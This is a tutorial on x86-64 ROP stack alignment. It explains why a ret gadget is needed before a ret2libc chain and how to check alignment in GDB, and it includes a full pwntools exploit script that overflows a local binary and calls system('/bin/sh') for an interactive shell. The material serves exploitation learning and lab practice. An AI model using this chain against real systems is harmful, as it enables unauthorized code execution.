X64 ROP Stack Alignment: When to Insert a ret
Gadget
Overview
On x86-64 (System V AMD64), many libc functions (e.g.,
system
) use SIMD instructions likemovaps
that require the stack to be 16-byte aligned. ROP chains often transfer control viaret
instead of a propercall
, which can leave the stack misaligned by 8 bytes and cause a crash inside libc.
Fix: insert a single ret
gadget before your first argument-setup gadget (e.g., pop rdi ; ret
) to flip the stack parity.
Why Misalignment Happens
- In real calls, the caller ensures the stack is aligned so the callee can safely use aligned instructions.
- In ROP, you “call” targets with
ret
, notcall
. The usual call/entry alignment is missing, so%rsp
is frequently off by 8 bytes at the target. - When the callee executes
movaps [rsp+...], xmm0
(or similar), it segfaults if%rsp
isn’t 16-byte aligned.
Typical symptom in GDB/pwndbg:
... movaps xmmword ptr [rsp + 0x50], xmm0
<[address] not aligned to 16 bytes>
Rule of Thumb
-
Default to adding one
ret
before your first argument gadget for quick, stable x64 ret2libc chains:payload = flat( padding, # to saved RIP (e.g., 72 bytes) ret, # 16-byte alignment fix pop_rdi, # set RDI binsh, system, # optional: libc.sym['exit'] )
-
You do not always need it. If you confirm the stack is already properly aligned, you can omit it.
When to Add the Extra ret
Add it when:
- Returning directly into libc (e.g.,
system
,execve
,printf
) and you haven’t verified alignment. - You see a crash inside libc with
movaps
/SIMD instructions or an explicit “not aligned to 16 bytes” diagnostic.
Usually unnecessary when:
- Your chain eventually reaches the target via a real
call
(rare in pure ROP). - Your gadget sequence or the callee’s prologue already results in correct alignment (verified).
How to Verify Alignment (GDB)
- Break at the target (e.g.,
b *system
). - Run the payload.
- Check alignment:
p/x $rsp
p $rsp % 16
- If
% 16 == 0
at the point where the callee uses aligned stores (or immediately in the callee), you’re aligned. - If
% 16 == 8
, insert a singleret
beforepop rdi ; ret
.
Minimal ret2libc Pattern (x64)
from pwn import *
exe = './secureserver' # vulnerable binary
context.log_level='debug' # logging
elf = context.binary = ELF(exe, checksec=False) # load vulnerable binary
# display binary information
info("Loaded binary: %s", exe)
info("Arch: %s, OS: %s, Bits: %d", context.arch, context.os, context.bits)
# run process
p = process(exe)
# set payload components
padding = asm('nop')*72 # offset
# rop chain
rop = ROP(elf)
ret = rop.find_gadget(['ret']).address # 1 byte stack realigner
pop_rdi = rop.find_gadget(['pop rdi']).address # pop rdi instruction
# libc functions
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # load libc
libc.address = 0x00007ffff7da8000 # from ldd ./secureserver
system = libc.symbols.system # system function address
binsh = next(libc.search(b'/bin/sh\x00')) # find /bin/sh address
# show addresses
info('pop_rdi: %#x', pop_rdi)
info('libc addr: %#x', libc.address)
info('system addr: %#x', system)
info('binsh addr: %#x', binsh)
# pack payload
payload = flat(
padding, # overflow with nops
ret, # align stack
pop_rdi, # pop next address into rdi
binsh, # /bin/sh address
system, # call system with /bin/sh address
)
# write payload to file
write('payload', payload)
p.sendlineafter(b':', payload)
p.interactive()
Troubleshooting Checklist
- Crash inside libc at
movaps
→ add oneret
before your first arg gadget. - Still crashing? Confirm:
- Offset to saved RIP is correct (e.g., 72).
- Gadget addresses are valid for the current binary (PIE off or base accounted for).
/bin/sh
pointer andsystem
are correct for the libc actually loaded.
- For cleaner teardown, set return address from
system
toexit
in libc.
Takeaway
- You don’t always need the alignment
ret
, but it’s a safe default for x64 ret2libc. - If uncertain, add it; remove it only after confirming 16-byte stack alignment in the callee.
Resources
Link | Description |
---|---|